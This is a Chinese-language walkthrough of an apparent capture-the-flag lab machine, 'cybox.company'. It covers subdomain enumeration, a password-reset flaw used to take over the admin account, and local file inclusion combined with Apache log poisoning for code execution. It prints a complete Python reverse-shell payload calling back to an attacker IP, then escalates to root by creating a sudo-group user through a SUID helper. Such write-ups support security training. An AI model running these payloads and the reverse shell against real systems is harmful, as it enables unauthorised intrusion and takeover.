nmap -sV 10.121.65.69

21 ftp
80 http
443 ssl/http
对ftp尝试弱口令爆破

python dirsearch.py -u http://10.121.65.69

发现一个目录遍历,浏览后并没有什么有用的信息
浏览目标网站后,看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下

gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

扫描发现了五个子域名网站
dev.cybox.company是一个PHPinfo
ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码
webmail.cybox.company是一个邮箱登录页面
register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户
monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回
register.cybox.company先创建一个qqqqqq:qqqqqq账户

monitor.cybox.company 注册一个邮箱

在http://webmail.cybox.company/ 发现可以用register.cybox.company创建的账户登录。

在monitor.cybox.company 的忘记密码这里发送连接,看看邮箱是否能收到。

发现收到了连接,且重置密码的链接存在越权修改密码的漏洞(因为直接将重置的账户写到url上了)

抓包修改成admin@cybox.company ,然后修改密码成123456.发现修改成功,正常登陆admin账户。

点开管理页面

F12查看页面内容

发现"styles.php?style=general" 尝试拼接试试

可能存在文件包含漏洞,尝试访问下/etc/passwd(这里通过一个一个试路径试出来,%00代表截断。
http://monitor.cybox.company/admin/styles.php?style=../../../../../../etc/passwd%00

有文件包含,那么我们可以尝试在日志文件里写shell(前提是知道日志文件的绝对路径,这里从另一个phpinfo的页面获取到绝对路径)。
apache的日志目录为/opt/bitnami/apache2/logs/
请求日志文件为access_log,
错误日志文件为error_log
访问请求日志文件,发现会记录http://ftp.cybox.company的请求日志,包括UA头

那么我们将shell写到UA头就行

http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&s=id

发现执行成功。那么我们可以构造反弹shell
http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&s=python -c"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.121.65.70',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
攻击机监听443端口: nc -lvvp 443

成功获得shell
find / -perm -u=s -type f 2>/dev/null 查找有权限的文件

在我们查看此文件内容时可以发现它调用了另一个/opt目录下的文件register,注意此处直接用cat查看文件会乱码,需要用strings转化字符串
strings registerlauncher

在查看register文件内容,发现这是一个可以创建用户的文件

打开发现是一个创建用户的文件使用脚本使其与register页面实现交互
python -c "import pty;pty.spawn('/bin/bash');"
可以看到,这里是创建了一个用户 用户是由$USERNAME觉得的,用户组和用户则是一样的,那么我们可以创建一个sudo用户(在linux有个特殊的用户组,是sudo组,当我们有sudo权限或者在sudo组里,我们可以用sudo 来执行一些命令)

然后回到creat user页面创建一个sudo用户
直接登录就能提权到root
总结: 1.通过文件包含漏洞,去查找日志路径,然后写入shell
2. 通过将域名加入hosts,可以访问不一样的网站页面